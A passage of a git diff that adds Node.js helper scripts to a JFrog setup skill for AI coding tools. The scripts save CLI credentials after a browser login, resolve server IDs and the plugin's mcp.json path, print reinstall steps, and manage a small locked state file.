blocked by sandbox), the session +// is burned and login must restart from register-session. +// +// Usage: +// node jfrog-login-save-credentials.mjs +// +// Arguments: +// platform-url — Full JFrog Platform URL (e.g. https://mycompany.jfrog.io) +// session-uuid — Session UUID from jfrog-login-register-session.mjs output +// +// Output (stdout): +// SERVER_ID= +// Followed by the Artifactory version JSON on success. +// +// Exit codes: +// 0 — Login succeeded, credentials saved and verified +// 1 — Missing arguments or prerequisites +// 2 — Token retrieval failed (user may not have completed browser login) +// 3 — Empty token in response +// 4 — jf config save or verification failed + +import { execFileSync } from "node:child_process"; +import { jfApi, parseHttpStatus } from "./lib/jf-api.mjs"; +import { + isMainModule, + jfConfigShow, + normalizeJpdUrl, + selfHealPath, + urlForServer, +} from "./lib/jf.mjs"; +import { resolveCommand } from "./lib/command.mjs"; + +// A `jf.cmd` shim runs under a shell, which concatenates arguments unescaped, +// so everything interpolated into a `jf` argument is screened first. +export const SAFE_URL = /^https?:\/\/[A-Za-z0-9.-]+(:\d+)?(\/[A-Za-z0-9._~/-]*)?$/; +const SAFE_TOKEN = /^[A-Za-z0-9._-]+$/; + +// Derive server ID from URL +// SaaS: https://mycompany.jfrog.io → mycompany +// Self-hosted: https://artifactory.internal.corp → artifactory-internal-corp +export function deriveServerId(platformUrl) { + let host = platformUrl.replace(/^[a-z]*:\/\//, ""); + host = host.replace(/\.jfrog\.io.*/, ""); + host = host.replace(/[./]/g, "-"); + return host; +} + +// Pins stdio so a failing/logging `jf` subprocess can't leak output to +// this script's own stderr (Node's execFileSync default is to echo the +// child's stderr live to the parent) — see lib/jf-api.mjs's jfApi() for +// the full rationale. Still captures both streams via the thrown error's +// .stdout/.stderr on failure. +function execFileOpts(timeoutMs, needsShell) { + return { + encoding: "utf8", + timeout: timeoutMs, + shell: needsShell, + stdio: ["ignore", "pipe", "pipe"], + }; +} + +export function saveCredentials(platformUrlRaw, sessionUuid) { + if (!platformUrlRaw || !sessionUuid) { + process.stderr.write("Usage: node jfrog-login-save-credentials.mjs \n"); + return 1; + } + const platformUrl = platformUrlRaw.replace(/\/+$/, ""); + if (!SAFE_URL.test(platformUrl)) { + process.stderr.write("ERROR: platform URL contains unexpected characters.\n"); + return 1; + } + + selfHealPath(); + const { target: jfPath, shell: needsShell } = resolveCommand("jf"); + + try { + execFileSync(jfPath, ["--version"], execFileOpts(10_000, needsShell)); + } catch (err) { + if (err.code === "ENOENT") { + process.stderr.write("ERROR: jf is not installed\n"); + return 1; + } + // Broken/hung jf: fall through and let the jf api calls below surface + // their own more specific failure. + } + + const serverId = deriveServerId(platformUrl); + + // Retrieve the one-time token (stdout = JSON body; stderr = jf status lines) + const tokenResp = jfApi([ + "--url", + platformUrl, + `/access/api/v2/authentication/jfrog_client_login/token/${sessionUuid}`, + ]); + + if (!tokenResp.ok) { + let httpCode = parseHttpStatus(tokenResp.stderr); + if (httpCode === "0") httpCode = parseHttpStatus(tokenResp.stdout); + const exitStatus = (tokenResp.error && tokenResp.error.status) ?? 1; + process.stderr.write(`ERROR: Token retrieval failed (HTTP ${httpCode}, exit ${exitStatus}).\n`); + if (httpCode === "400") { + process.stderr.write("The user may not have completed the browser login yet.\n"); + } + return 2; + } + + const bodyText = tokenResp.stdout + .split("\n") + .filter((line) => !line.includes("[Info]")) + .join("\n"); + + let accessToken = ""; + try { + const parsed = JSON.parse(bodyText); + accessToken = typeof parsed.access_token === "string" ? parsed.access_token : ""; + } catch { + accessToken = ""; + } + + if (!accessToken) { + process.stderr.write("ERROR: Response contained no access token. Login must restart from step 1.\n"); + return 3; + } + if (!SAFE_TOKEN.test(accessToken)) { + process.stderr.write("ERROR: Received token has an unexpected format. Login must restart from step 1.\n"); + return 3; + } + + // A derived server ID drops the scheme, port and path, so it can collide + // with an unrelated server already configured under the same name — the + // remove/add below would delete that entry's credentials silently. + const existingUrl = normalizeJpdUrl(urlForServer(jfConfigShow(), serverId)); + if (existingUrl && existingUrl !== normalizeJpdUrl(platformUrl)) { + process.stderr.write(`ERROR: jf server '${serverId}' already points at ${existingUrl} — refusing to overwrite it.\n`); + return 4; + } + + // Save credentials to jf config (writes to ~/.jfrog/, needs unrestricted filesystem) + try { + execFileSync(jfPath, ["config", "remove", serverId, "--quiet"], execFileOpts(10_000, needsShell)); + } catch { + // No existing entry to remove — fine. + } + + try { + execFileSync( + jfPath, + ["config", "add", serverId, `--url=${platformUrl}`, `--access-token=${accessToken}`, "--interactive=false"], + execFileOpts(15_000, needsShell) + ); + } catch { + process.stderr.write("ERROR: Failed to save credentials with jf config add.\n"); + process.stderr.write("This may be caused by sandbox restrictions on ~/.jfrog/ writes.\n"); + return 4; + } + + process.stdout.write(`SERVER_ID=${serverId}\n`); + process.stdout.write("--- Verifying authentication ---\n"); + + const verify = jfApi([`--server-id=${serverId}`, "/artifactory/api/system/version"]); + process.stdout.write(verify.stdout); + if (!verify.ok) { + process.stderr.write("ERROR: Authentication verification failed. Token may not have saved correctly.\n"); + return 4; + } + + return 0; +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate a still-draining stdout write if output is piped. +if (isMainModule(import.meta.url)) { + process.exitCode = saveCredentials(process.argv[2] || "", process.argv[3] || ""); +} diff --git a/skills/jfrog-init/scripts/jfrog-reinstall-jfrog-plugin.mjs b/skills/jfrog-init/scripts/jfrog-reinstall-jfrog-plugin.mjs new file mode 100755 index 0000000..062785c --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-reinstall-jfrog-plugin.mjs @@ -0,0 +1,74 @@ +#!/usr/bin/env node +// This script itself never writes to the plugin's mcp.json — the file is +// owned by the JFrog plugin (Cursor / VS Code / Claude). It only prints +// the diagnosis and the correct remedy for a plugin file that's missing +// or invalid: reinstall or update the plugin, with per-harness commands +// so the user isn't left guessing. (A placeholder-only problem — e.g. an +// unresolved `${JFROG_PLATFORM_URL}` — is handled separately and +// automatically by jfrog-substitute-mcp-placeholders.mjs, the one place +// in this skill that does edit the file in place; this script is only +// reached when that auto-fix isn't applicable.) +// +// Usage: node jfrog-reinstall-jfrog-plugin.mjs +// Always exits 0 after printing. + +import { existsSync } from "node:fs"; +import { detectHarness, resolveMcpConfig } from "./jfrog-resolve-mcp-config.mjs"; + +const resolved = resolveMcpConfig(); +const harness = detectHarness(); + +console.log(`The JFrog MCP entry lives inside the JFrog plugin's own mcp.json file. +This script never writes to it — it only diagnoses and prints the fix. + +If /jfrog-init sent you here, the plugin's mcp.json is missing, empty, +or otherwise invalid, and the fix is to reinstall or update the JFrog +plugin in your IDE. +`); + +switch (harness) { + case "claude": + console.log(`Claude Code: + claude plugin uninstall jfrog-beta/jfrog # if already installed + claude plugin install jfrog-beta/jfrog + +After install, restart Claude Code, then re-run /jfrog-init.`); + break; + case "cursor": + console.log(`Cursor: + Open Cursor → Settings → Plugins (or Extensions) → search "JFrog" → + Uninstall (if present) → Install. Restart Cursor. + Then re-run /jfrog-init.`); + break; + case "vscode": + console.log(`VS Code: + code --uninstall-extension JFrog.jfrog-vscode-extension || true + code --install-extension JFrog.jfrog-vscode-extension --force + +Restart VS Code, then re-run /jfrog-init.`); + break; + default: + console.log(`Reinstall the JFrog plugin in whichever IDE you're using: + Cursor: Settings → Plugins → search "JFrog" → reinstall. + VS Code: code --install-extension JFrog.jfrog-vscode-extension --force + Claude Code: claude plugin install jfrog-beta/jfrog + +Restart the IDE afterwards, then re-run /jfrog-init.`); +} + +console.log(` +Expected plugin-owned paths (for reference): + + Cursor: ~/.cursor/plugins/cache/cursor-public/jfrog//mcp.json + VS Code: ~/.vscode/agent-plugins/github.com/jfrog/vscode-plugin/plugin/.mcp.json + Claude: ~/.claude/plugins/cache//jfrog//.mcp.json +`); + +if (resolved.path && existsSync(resolved.path)) { + console.log(`Plugin's mcp.json currently resolves to: ${resolved.path}`); +} else if (resolved.path) { + console.log(`Plugin's mcp.json is expected at ${resolved.path}, but nothing is there right now.`); +} else { + console.log("Plugin's mcp.json is not on disk right now:"); + console.log(` ${resolved.error}`); +} diff --git a/skills/jfrog-init/scripts/jfrog-resolve-jf-server.mjs b/skills/jfrog-init/scripts/jfrog-resolve-jf-server.mjs new file mode 100755 index 0000000..b4a655a --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-resolve-jf-server.mjs @@ -0,0 +1,86 @@ +#!/usr/bin/env node +// Resolves which jf server ID to use, in this order: +// 1. First positional arg, if non-empty +// 2. JF_SERVER_ID env var, if non-empty +// 3. The server marked "isDefault": true in ~/.jfrog/jfrog-cli.conf.v6 +// (via `jf c show --format=json`) +// 4. If exactly one server is configured, it is used silently. +// +// This is the single source of truth for server-id resolution — every +// script that needs a server-id (server-ping, catalog-runtime, project, +// detect-all, the mcp-placeholder substituter) MUST resolve through this +// function rather than re-deriving the fallback chain, so they always +// agree on which server is "the" server on a multi-server machine. +// +// Returns the resolved server ID, or "" if multiple servers are +// configured, none is marked default, and no override was given — +// callers must then ask the user (never invent a server, never rely on +// `jf`'s own fallback). +// +// CLI usage: node jfrog-resolve-jf-server.mjs [override] +// Exit 0 -> a server ID was resolved; printed on stdout +// Exit 1 -> could not resolve (no override, no default marked, >1 server) + +import { emit, isMainModule, jfAvailable, jfConfigShow, defaultServerId, emitNoServerResolved, describeJfUnavailable } from "./lib/jf.mjs"; + +// `runJf()` (lib/jf.mjs) passes `--server-id=${serverId}` to `execFileSync` +// as a real array element, never through a shell — so a serverId +// containing spaces or punctuation reaches `jf` as one argument, exactly +// as typed, with no injection surface to defend against here. This used +// to validate the id against an allowlist, then a denylist, on the +// assumption that "real jf server IDs are always a plain identifier" — +// that's false: `jf config add "my server" --interactive=false` succeeds +// and writes `"serverId": "my server"`, and jf enforces no charset of its +// own. Either list rejected realistic ids (spaces, parens from an +// auto-disambiguated id like "dev(1)", etc.) exactly like it would reject +// a genuinely dangerous one, so resolution silently failed closed on a +// perfectly normal setup — misreported by callers as "multiple servers, +// none resolved" instead of the real cause. Now that runJf() no longer +// goes through a shell, there is nothing left for a charset check here to +// protect against. +export function resolveJfServer(override, configList) { + const picked = override || process.env.JF_SERVER_ID || ""; + if (picked) return picked; + // Every caller that passes `configList` has already called jfAvailable() + // itself to get there (see jfrog-detect-*.mjs) — re-checking here would + // just spawn a second, redundant `jf --version`. Only the standalone + // CLI usage below (no configList) still needs this script to check. + if (configList === undefined && !jfAvailable()) return ""; + const list = configList || jfConfigShow(); + const fromDefault = defaultServerId(list); + if (fromDefault) return fromDefault; + if (list.length === 1 && list[0].serverId) { + return list[0].serverId; + } + return ""; +} + +// Shared "jf installed? → read config → resolve server-id → ask if +// ambiguous" preamble — every jfrog-detect-*.mjs that takes an optional +// [server-id] argument (server-ping, catalog-runtime, project) needs the +// exact same four steps; only the status/exit code for "jf not installed" +// differs between them, so that's the one thing callers still pick. +// Returns { serverId, configList, exitCode } — exitCode is non-null (and +// already emitted) when the caller should stop and return it as-is. +export function resolveServerOrEmit(check, argServerId, jfMissing) { + if (!jfAvailable()) { + emit({ check, status: jfMissing.status, detail: describeJfUnavailable() }); + return { serverId: null, configList: [], exitCode: jfMissing.exitCode }; + } + const configList = jfConfigShow(); + const serverId = resolveJfServer(argServerId, configList); + if (!serverId) { + return { serverId: null, configList, exitCode: emitNoServerResolved(check, configList) }; + } + return { serverId, configList, exitCode: null }; +} + +if (isMainModule(import.meta.url)) { + const resolved = resolveJfServer(process.argv[2]); + if (resolved) { + process.stdout.write(resolved + "\n"); + process.exitCode = 0; + } else { + process.exitCode = 1; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-resolve-mcp-config.mjs b/skills/jfrog-init/scripts/jfrog-resolve-mcp-config.mjs new file mode 100755 index 0000000..f38878b --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-resolve-mcp-config.mjs @@ -0,0 +1,207 @@ +#!/usr/bin/env node +// Resolves the PLUGIN-OWNED mcp.json for the CURRENT harness and returns its +// absolute path. This is the file the JFrog plugin ships with — NOT the +// user's project- or user-scope MCP config. This skill never touches the +// customer's own mcp.json; only the one owned by the JFrog plugin. +// +// Plugin-owned paths per harness: +// Cursor: ~/.cursor/plugins/cache/cursor-public/jfrog//mcp.json +// (multiple dirs may exist; the most-recently-modified +// one is picked — that's the active version.) +// VS Code: ~/.vscode/agent-plugins/github.com/jfrog/vscode-plugin/plugin/.mcp.json +// (stable path; no sha in the path.) +// Claude: ~/.claude/plugins/cache//jfrog//.mcp.json +// (glob across any marketplace + version; most-recently- +// modified wins.) +// +// NOTE (Claude): the current released Claude plugin (jfrog-beta/0.3.0-beta.1) +// does NOT ship a .mcp.json — the source repo has one, but the packager +// does not include it. Until the packager is fixed, resolution on Claude +// Code throws a "plugin file not installed" error, which the detector +// converts into a clear red / "reinstall the JFrog plugin" instruction. +// +// Harness detection (env-var signals, in order): +// 1. Claude Code -> $CLAUDECODE / $CLAUDE_CODE_* set +// 2. Cursor -> $CURSOR_AGENT / $CURSOR_CLI / $CURSOR_TRACE_ID set, +// or TERM_PROGRAM=cursor +// 3. VS Code -> $VSCODE_PID set, or TERM_PROGRAM=vscode +// The Cursor signals mirror the base skill's check-environment.sh +// detect_harness() and harness-common.md's routing table. +// +// Overrides: +// - JFROG_INIT_HARNESS=claude|cursor|vscode forces one specific harness. +// - JFROG_INIT_MCP_CONFIG=/abs/path forces one specific path. +// (Escape hatch — bypasses the plugin-path resolution entirely.) +// +// CLI usage: node jfrog-resolve-mcp-config.mjs +// Prints only the path on stdout on success. +// Exit 0 -> path resolved +// Exit 1 -> could not detect the current harness +// Exit 2 -> harness detected, but the plugin's mcp.json is not installed + +import { existsSync, readdirSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { isMainModule } from "./lib/jf.mjs"; + +const VALID_HARNESSES = new Set(["claude", "cursor", "vscode"]); + +// JFROG_INIT_HARNESS is matched case-insensitively (e.g. "Claude", "CURSOR") +// so the documented override doesn't silently fail on a case mismatch. +export function detectHarness() { + if (process.env.JFROG_INIT_HARNESS) return process.env.JFROG_INIT_HARNESS.trim().toLowerCase(); + if (process.env.CLAUDECODE || process.env.CLAUDE_CODE_ENTRYPOINT || process.env.CLAUDE_CODE_SESSION_ID) return "claude"; + // CURSOR_AGENT / CURSOR_CLI are as much a Cursor signal as + // CURSOR_TRACE_ID — all three are what the base skill's + // check-environment.sh detect_harness() and harness-common.md's routing + // table treat as Cursor, and this function has to agree with them or + // the two disagree about which harness the same session is running in. + // Order matters as much as the signals: Cursor's CLI/agent surfaces can + // report TERM_PROGRAM=vscode, so the Cursor test has to run before the + // VS Code one below or those surfaces resolve to the VS Code plugin + // path and the detector reports the JFrog plugin as missing. + if (process.env.CURSOR_AGENT || process.env.CURSOR_CLI || process.env.CURSOR_TRACE_ID || process.env.TERM_PROGRAM === "cursor") { + return "cursor"; + } + if (process.env.VSCODE_PID || process.env.TERM_PROGRAM === "vscode") return "vscode"; + return ""; +} + +// Picks the newest file matching `/*/<...tailParts>` by mtime. +function newestMatch(dir, tailParts) { + let best = null; + let bestMtime = -Infinity; + let entries; + try { + entries = readdirSync(dir, { withFileTypes: true }); + } catch { + return null; + } + for (const entry of entries) { + if (!entry.isDirectory()) continue; + const candidate = join(dir, entry.name, ...tailParts); + let mtime; + try { + mtime = statSync(candidate).mtimeMs; + } catch { + // Candidate existed during readdirSync but is gone now (e.g. a + // plugin update replacing this version dir mid-scan) — skip it + // rather than letting statSync's ENOENT crash the whole detector. + continue; + } + if (mtime > bestMtime) { + best = candidate; + bestMtime = mtime; + } + } + return best; +} + +// Claude's cache nests one extra "marketplace" directory: +// ~/.claude/plugins/cache//jfrog//.mcp.json — one +// newestMatch() per marketplace (over its jfrog/ dirs), then the +// newest across marketplaces. Delegating to newestMatch() rather than +// re-scanning by hand keeps this path's stale-entry handling (a version +// dir vanishing mid-scan) in sync with the Cursor/VS Code path for free. +function newestClaudeMatch() { + const cacheDir = join(homedir(), ".claude", "plugins", "cache"); + let marketplaces; + try { + marketplaces = readdirSync(cacheDir, { withFileTypes: true }); + } catch { + return null; + } + let best = null; + let bestMtime = -Infinity; + for (const mp of marketplaces) { + if (!mp.isDirectory()) continue; + const candidate = newestMatch(join(cacheDir, mp.name, "jfrog"), [".mcp.json"]); + if (!candidate) continue; + let mtime; + try { + mtime = statSync(candidate).mtimeMs; + } catch { + continue; + } + if (mtime > bestMtime) { + best = candidate; + bestMtime = mtime; + } + } + return best; +} + +export function resolveMcpConfig() { + if (process.env.JFROG_INIT_MCP_CONFIG) { + return { path: process.env.JFROG_INIT_MCP_CONFIG }; + } + + const harness = detectHarness(); + + // An explicit override that doesn't match a known harness is a typo, not + // "no signal detected" — say so instead of falling through to the + // generic detection-failure message below, which would tell the user to + // set the very variable they already set. + if (process.env.JFROG_INIT_HARNESS && !VALID_HARNESSES.has(harness)) { + return { + error: `JFROG_INIT_HARNESS=${process.env.JFROG_INIT_HARNESS} is not one of: claude, cursor, vscode.`, + code: 1, + }; + } + + if (harness === "claude") { + const match = newestClaudeMatch(); + if (!match) { + return { + error: + "JFrog Claude plugin does not ship a .mcp.json at ~/.claude/plugins/cache/*/jfrog/*/.mcp.json\n" + + " reinstall or update the JFrog plugin so it includes the file.", + code: 2, + }; + } + return { path: match }; + } + + if (harness === "cursor") { + const match = newestMatch(join(homedir(), ".cursor", "plugins", "cache", "cursor-public", "jfrog"), ["mcp.json"]); + if (!match) { + return { + error: + "JFrog Cursor plugin's mcp.json not found under ~/.cursor/plugins/cache/cursor-public/jfrog/\n" + + " install the JFrog plugin in Cursor to make it available.", + code: 2, + }; + } + return { path: match }; + } + + if (harness === "vscode") { + const p = join(homedir(), ".vscode", "agent-plugins", "github.com", "jfrog", "vscode-plugin", "plugin", ".mcp.json"); + if (!existsSync(p)) { + return { + error: `JFrog VS Code plugin's .mcp.json not found at ${p}\n install the JFrog plugin in VS Code to make it available.`, + code: 2, + }; + } + return { path: p }; + } + + return { + error: + "could not detect current harness (Claude Code / Cursor / VS Code).\n" + + " Set JFROG_INIT_HARNESS=claude|cursor|vscode, or\n" + + " JFROG_INIT_MCP_CONFIG=/absolute/path/to/mcp.json to override.", + code: 1, + }; +} + +if (isMainModule(import.meta.url)) { + const result = resolveMcpConfig(); + if (result.path) { + process.stdout.write(result.path + "\n"); + process.exitCode = 0; + } else { + process.stderr.write(`error: ${result.error}\n`); + process.exitCode = result.code; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-state-file.mjs b/skills/jfrog-init/scripts/jfrog-state-file.mjs new file mode 100755 index 0000000..d1d1b15 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-state-file.mjs @@ -0,0 +1,289 @@ +#!/usr/bin/env node +// jfrog-state-file.mjs — read/write the /jfrog-init state file at +// ~/.jfrog/setup.json. Keyed by JFrog CLI server ID so a machine +// with multiple JPDs stays coherent. +// +// File shape (versioned; consumers MUST tolerate unknown top-level keys): +// { +// "version": 1, +// "servers": { +// "": { +// "jpdUrl": "https://acme.jfrog.io", +// "currentActiveProject": "widgets" +// } +// } +// } +// `currentActiveProject` is OPTIONAL — a record can exist with just +// `jpdUrl` when the server is known but no project has been resolved yet +// (e.g. Step 6 hit its retry cap). Consumers MUST NOT assume it's present. +// +// Rules: +// - Never contains secrets. Only public identifiers (server id, JPD URL, +// project key). No timestamps — the record is a pointer to what's +// active now, not a usage log. +// - Read failure = empty state (no error propagated). The file is a +// hint, not a source of truth. +// - Writes go through a temp file + rename for atomicity so a partial +// write can't leave broken JSON on disk. "set" also takes a +// cross-process exclusive lock around its read-modify-write so two +// concurrent walks updating different servers can't clobber each +// other's record. +// - Directory ~/.jfrog is created with mode 0700 if missing. File is +// written with mode 0644. +// +// Usage: +// node jfrog-state-file.mjs get +// -> stdout is the record's JSON (or "{}" if absent). Exit 0. +// +// node jfrog-state-file.mjs get-current-project +// -> stdout is JSON {"currentActiveProject": "...", "jpdUrl": "..."} +// (fields omitted if no record exists). Exit 0. +// +// node jfrog-state-file.mjs set [project-key] +// -> merges/creates the server record with the given fields. +// [project-key] is optional — pass "" (or omit it) to record the +// server/JPD without a currentActiveProject, e.g. when Step 6 +// couldn't resolve one. Exit 0 on success, exit 1 on write error. +// +// node jfrog-state-file.mjs path +// -> stdout is the absolute path to the state file. Exit 0. +// +// Any parse/write failure prints a short message to stderr and exits +// non-zero; callers can `|| true` to keep the walk moving on stateless +// paths. + +import { mkdirSync, readFileSync, writeFileSync, renameSync, chmodSync, existsSync, unlinkSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { isMainModule } from "./lib/jf.mjs"; + +const STATE_DIR = join(homedir(), ".jfrog"); +const STATE_PATH = join(STATE_DIR, "setup.json"); +const LOCK_PATH = `${STATE_PATH}.lock`; +const CURRENT_VERSION = 1; + +// Exclusive-create is atomic even across processes, so this is a real +// mutex (not just a TOCTOU-prone existsSync check) guarding the +// read-modify-write in "set" below — two concurrent walks writing +// different servers' records must not clobber each other's update. +// +// Single attempt, no busy-wait retry loop: the record it protects is a +// best-effort "reuse last project?" hint, not a source of truth (the +// caller in jfrog-detect-all.mjs treats a write failure as a warning, +// not a walk failure) — blocking to wait out contention isn't worth the +// latency for what's allowed to be lost anyway. +// +// A process that crashes (Ctrl-C, OOM, harness timeout) while holding the +// lock never reaches releaseLock(), leaving LOCK_PATH on disk forever. To +// recover from that, a lock file older than STALE_LOCK_MS is treated as +// abandoned and removed before the one retry below. +const STALE_LOCK_MS = 30_000; + +function reclaimIfStale() { + try { + if (Date.now() - statSync(LOCK_PATH).mtimeMs > STALE_LOCK_MS) unlinkSync(LOCK_PATH); + } catch { + // Lock vanished between the failed create and this check, or the + // stat itself failed — either way there's nothing to reclaim. + } +} + +function acquireLock() { + try { + writeFileSync(LOCK_PATH, String(process.pid), { flag: "wx" }); + return true; + } catch (err) { + if (err.code !== "EEXIST") throw err; + reclaimIfStale(); + try { + writeFileSync(LOCK_PATH, String(process.pid), { flag: "wx" }); + return true; + } catch { + return false; + } + } +} + +function releaseLock() { + try { + unlinkSync(LOCK_PATH); + } catch { + // Already gone (or never acquired) — nothing to clean up. + } +} + +function loadState() { + if (!existsSync(STATE_PATH)) return { version: CURRENT_VERSION, servers: {} }; + try { + const raw = readFileSync(STATE_PATH, "utf8"); + if (!raw.trim()) return { version: CURRENT_VERSION, servers: {} }; + const parsed = JSON.parse(raw); + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { + return { version: CURRENT_VERSION, servers: {} }; + } + if (!parsed.servers || typeof parsed.servers !== "object") { + parsed.servers = {}; + } + return parsed; + } catch { + // Corrupt file — treat as empty so the walk doesn't hard-stop on a + // stale hint. The write path will overwrite it next time we save. + return { version: CURRENT_VERSION, servers: {} }; + } +} + +function ensureStateDir() { + try { + mkdirSync(STATE_DIR, { recursive: true, mode: 0o700 }); + } catch (err) { + if (err.code !== "EEXIST") throw err; + } +} + +function saveState(state) { + ensureStateDir(); + const tmp = `${STATE_PATH}.tmp.${process.pid}`; + try { + // "wx" refuses to follow/overwrite anything already at tmp (e.g. a + // pre-planted symlink) — same symlink-safe pattern as + // lib/project-cache.mjs's writeCachedProjectList(). + writeFileSync(tmp, JSON.stringify(state, null, 2) + "\n", { mode: 0o644, flag: "wx" }); + // Not redundant with the `mode` above, despite looking it: writeFileSync's + // mode is masked by the process umask at creation, so under a restrictive + // umask (0077, common on hardened machines) the file lands at 0600 and the + // documented 0644 contract at the top of this file silently doesn't hold. + // chmod is not umask-masked, so it forces the mode after the fact. + chmodSync(tmp, 0o644); + renameSync(tmp, STATE_PATH); + } catch (err) { + // A run killed between the write and the rename (Ctrl-C, OOM, harness + // timeout) leaves tmp behind; the name is only unique per PID, so the + // next run to reuse that PID would otherwise hit EEXIST here forever. + try { + unlinkSync(tmp); + } catch { + // Never created, already renamed, or not ours to remove. + } + throw err; + } +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess — the same in-process pattern +// jfrog-resolve-jf-server.mjs / jfrog-resolve-mcp-config.mjs / +// jfrog-substitute-mcp-placeholders.mjs use. Returns { ok, error } instead +// of writing to stderr and calling process.exit(), so an in-process +// caller decides for itself how to surface a failure (jfrog-detect-all.mjs +// treats it as a warning, not a walk failure). +// +// The lock is released explicitly on every path (not via try/finally) to +// mirror the CLI wrapper's exit-code contract below exactly. +export function setStateForServer(serverId, jpdUrl, projectKey) { + if (!serverId || !jpdUrl) { + return { ok: false, error: "set requires [project-key]" }; + } + // The lock file lives in STATE_DIR too, so it must exist before + // acquireLock() — not just before saveState() — or the very first + // write on a machine where ~/.jfrog doesn't exist yet (nothing has + // run `jf config add` or otherwise created it) fails with ENOENT. + let locked; + try { + ensureStateDir(); + locked = acquireLock(); + } catch (err) { + return { ok: false, error: `write failed: ${err.message}` }; + } + if (!locked) { + // Lock not acquired (stale lock file from a crashed process, or + // genuine contention) — fail rather than doing the read-modify-write + // unprotected, which would defeat the whole point of the lock. + return { ok: false, error: "could not acquire lock — another /jfrog-init walk may be writing state; try again" }; + } + try { + const state = loadState(); + state.version = CURRENT_VERSION; + state.servers = state.servers || {}; + // Replace the record wholesale rather than spreading the previous + // one forward — otherwise a stale legacy key (e.g. from an older + // state-file schema) would linger alongside the current fields. + // Exception: an empty projectKey means THIS walk didn't resolve a + // project (e.g. Step 6 hit its retry cap), not that the server has + // no project — carry the previous currentActiveProject forward + // rather than erasing a still-possibly-valid "reuse CURRENT?" hint + // over what's likely a transient miss. + const previous = state.servers[serverId]; + state.servers[serverId] = + projectKey ? { jpdUrl, currentActiveProject: projectKey } + : previous?.currentActiveProject ? { jpdUrl, currentActiveProject: previous.currentActiveProject } + : { jpdUrl }; + saveState(state); + releaseLock(); + return { ok: true }; + } catch (err) { + releaseLock(); + return { ok: false, error: `write failed: ${err.message}` }; + } +} + +if (isMainModule(import.meta.url)) { + const [mode, ...args] = process.argv.slice(2); + + // Sets process.exitCode rather than calling process.exit() — a forced + // exit can truncate a still-draining stdout write, and every mode below + // is a caller reading that stdout for its result. Every branch now needs + // its own explicit `break` (process.exit() used to provide that for + // free by terminating the process outright). + switch (mode) { + case "path": + process.stdout.write(STATE_PATH); + process.exitCode = 0; + break; + + case "get": { + const serverId = args[0]; + if (!serverId) { + process.stdout.write("{}"); + process.exitCode = 0; + break; + } + const state = loadState(); + const rec = state.servers?.[serverId]; + process.stdout.write(rec ? JSON.stringify(rec) : "{}"); + process.exitCode = 0; + break; + } + + case "get-current-project": { + const serverId = args[0]; + if (!serverId) { + process.stdout.write("{}"); + process.exitCode = 0; + break; + } + const state = loadState(); + const rec = state.servers?.[serverId]; + const out = {}; + if (rec && typeof rec.currentActiveProject === "string") out.currentActiveProject = rec.currentActiveProject; + if (rec && typeof rec.jpdUrl === "string") out.jpdUrl = rec.jpdUrl; + process.stdout.write(JSON.stringify(out)); + process.exitCode = 0; + break; + } + + case "set": { + const [serverId, jpdUrl, projectKey] = args; + const result = setStateForServer(serverId, jpdUrl, projectKey); + if (!result.ok) { + process.stderr.write(`state-file: ${result.error}\n`); + process.exitCode = 1; + break; + } + process.exitCode = 0; + break; + } + + default: + process.stderr.write(`state-file: unknown mode ${JSON.stringify(mode)}\n`); + process.exitCode = 1; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-substitute-mcp-placeholders.mjs b/skills/jfrog-init/scripts/jfrog-substitute-mcp-placeholders.mjs new file mode 100755 index 0000000..8bd635e --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-substitute-mcp-placeholders.mjs @@ -0,0 +1,157 @@ +#!/usr/bin/env node +// Rewrites a placeholder-style env-var reference in the JFrog plugin's +// mcp.json — specifically `mcpServers.jfrog.url`, nothing else in the +// file — with the real JPD URL from `jf config`. This is the ONLY code +// path in /jfrog-init that writes to the plugin-owned mcp.json. +// +// Scoped to that one field (rather than a file-wide text replace) so an +// unrelated MCP server entry or JSON value that happens to contain the +// same placeholder text is never touched. +// +// Placeholders handled (both `$VAR` and `${VAR}` forms): +// - JFROG_PLATFORM_URL +// - JFROG_URL +// +// The substitution normalizes the URL to the JPD root before writing, so +// `"url": "https://${JFROG_PLATFORM_URL}/mcp"` becomes +// `"url": "https://acme.jfrog.io/mcp"` regardless of what shape `.url` +// had in `jf config`. +// +// Idempotent: no matching placeholder = no write, exit 0. Atomic: write +// goes to a temp file next to the target and is renamed into place. +// Note: rewrites via JSON.parse/stringify (2-space indent), so unrelated +// formatting in the plugin's file is not preserved byte-for-byte. +// +// Exported as substituteMcpPlaceholders() — a pure function, no stdout +// writes — so jfrog-detect-jfrog-mcp.mjs can call it in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout, the same +// in-process pattern jfrog-resolve-jf-server.mjs/jfrog-resolve-mcp-config.mjs +// use. The CLI entry point below is a thin wrapper around the same function. +// +// Usage: node jfrog-substitute-mcp-placeholders.mjs [server-id] +// +// Exit 0 -> substituted (or no substitution needed) +// Exit 1 -> no jf server configured, or resolved server-id has no url +// Exit 2 -> multiple jf servers configured, none marked default, no +// server-id passed — ambiguous, caller must ask the user +// Exit 3 -> read/write error, or jf missing + +import { existsSync, readFileSync, writeFileSync, renameSync, statSync, chmodSync, unlinkSync } from "node:fs"; +import { emit as emitJf, isMainModule, jfAvailable, jfConfigShow, urlForServer, normalizeJpdUrl, mcpPlaceholderRegexes, jfrogMcpUrl, hasMcpPlaceholder, askServerResult, describeJfUnavailable } from "./lib/jf.mjs"; +import { resolveJfServer } from "./jfrog-resolve-jf-server.mjs"; + +// Result shape: { exitCode, status, detail, candidates? } — mirrors the +// CLI contract above (status/candidates match what `emit()` would carry) +// so both the CLI wrapper below and in-process callers read the same +// fields without either one needing to re-derive them. +export function substituteMcpPlaceholders(target, serverIdOverride) { + if (!target) { + return { exitCode: 3, status: "error", detail: "usage: 